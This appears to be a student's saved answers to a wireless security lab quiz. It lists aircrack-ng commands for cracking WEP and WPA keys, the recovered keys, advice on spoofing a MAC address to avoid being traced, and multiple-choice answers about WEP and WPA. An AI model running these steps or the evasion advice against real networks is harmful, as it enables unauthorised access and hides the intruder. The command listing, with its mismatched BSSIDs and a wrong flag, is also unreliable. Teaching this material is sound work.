Question **1**

Answer saved

Marked out of 20.00

Flag question

1) Specify your target network ESSID.

2) Write down all commands you have used, in order, to crack the WEP key (output not required, enter only the commands).

3) Write down all commands you have used to break into the WPA access point (output not required, enter only the commands).

4) What are the WEP and WPA keys you have extracted? have you been able to associate to both networks with respective keys?

**Answer template:**

Add the number of the question you are answering and then type your answer. For example,

1) Target network ESSID: Dlink

2) WEP key: XXX, WPA key: YYY

etc.

Only plain-text is allowed.

```
1)
ESSID for cracking WEP : TargetNetwork1
ESSID for cracking WPA : TargetNetwork2

2) commands for cracking WEP
iwconfig
airmon-ng
airmon-ng start wlan0
airmon-ng check kill
airmon-ng check
iwconfig
airodump-ng wlan0mon
airodump-ng -c 1 --bssid 08:CC:68:B5:F5:75 -W Desktop/file1 wlan0mon
(open another terminal)
aireplay-ng -1 0 -e TargetNetwork1 -a B4:75:0E:35:58:60 -h 40:33:1A:0C:CF:A1  wlan0mon
(until 20000 packets received)
aircrack-ng -b B4:75:0E:35:58:60 Desktop/file1-01.cap

3)commands for cracking WAP
iwconfig
airmon-ng
airmon-ng start wlan0
airmon-ng check kill
airmon-ng check
iwconfig
airodump-ng wlan0mon
airodump-ng -c 11 --bssid b4:75:0E:35:58:60 -w Desktop/file1 wlan0mon
aircrack-ng -w Desktop/rockyou.txt -b B4:75:0E:35:52:7E Desktop/*.cap
history > commond.txt

4) WEP key: 01:23:45:67:89
    WPA key: monkey21
```

Question **2**

Answer saved

Marked out of 5.00

Flag question

If you follow the handout instructions to break into a wireless network, it is easily possible to identify and locate you. What was missing in the instruction that makes you as an attacker identifiable? How could you make yourself un-identifiable?

the attacker uses her/his real MAC address which stored in the AP, thus it can be easily identified and located. I would modify or use a fake MAC address to do the cracking, after successfully cracking then change back to the real MAC address to connect with, this would be un-identifiable.

Question **3**

Answer saved

Marked out of 3.00

Flag question

In one of the steps to crack WEP, we fake authenticate. We do this to increase traffic when there is no user connected to AP or there is not enough traffic to capture to perform our attack. Is this a true or false statement?

Select one:

● a. True

○ b. False

Question **4**

Answer saved

Marked out of 3.00

Flag question

Which of the following specifications are true for an SSID? (Choose all that apply.)

[CWSP exam question]

Select one or more:

☐ a. Up to 20 characters

☑ b. Up to 32 characters

☑ c. Case sensitive

☑ d. Spaces are allowed

☐ e. Spaces are not allowed

Question **5**

Answer saved

Marked out of 3.00

Flag question

Which of the following is contained in a WEP encrypted frame? (Choose all that apply.)

Select one or more:

☑ a. IV in cleartext format

☐ b. IV in encrypted format

☑ c. Key Identifier

☐ d. WEP key in encrypted format

☐ e. 64 - bit Initialization Vector

Question **6**

Answer saved

Marked out of 3.00

Flag question

WEP can be cracked:

Select one:

● a. Always

○ b. Only when a weak key/passphrase is chosen

○ c. Under special circumstances only

○ d. Only if the access point runs old software

Question **7**

Answer saved

Marked out of 3.00

Flag question

WPA can be cracked:

Select one:

○ a. Always

● b. Only if a weak key/passphrase is chosen

○ c. If the client contains old firmware

○ d. Even with no client connected to the wireless network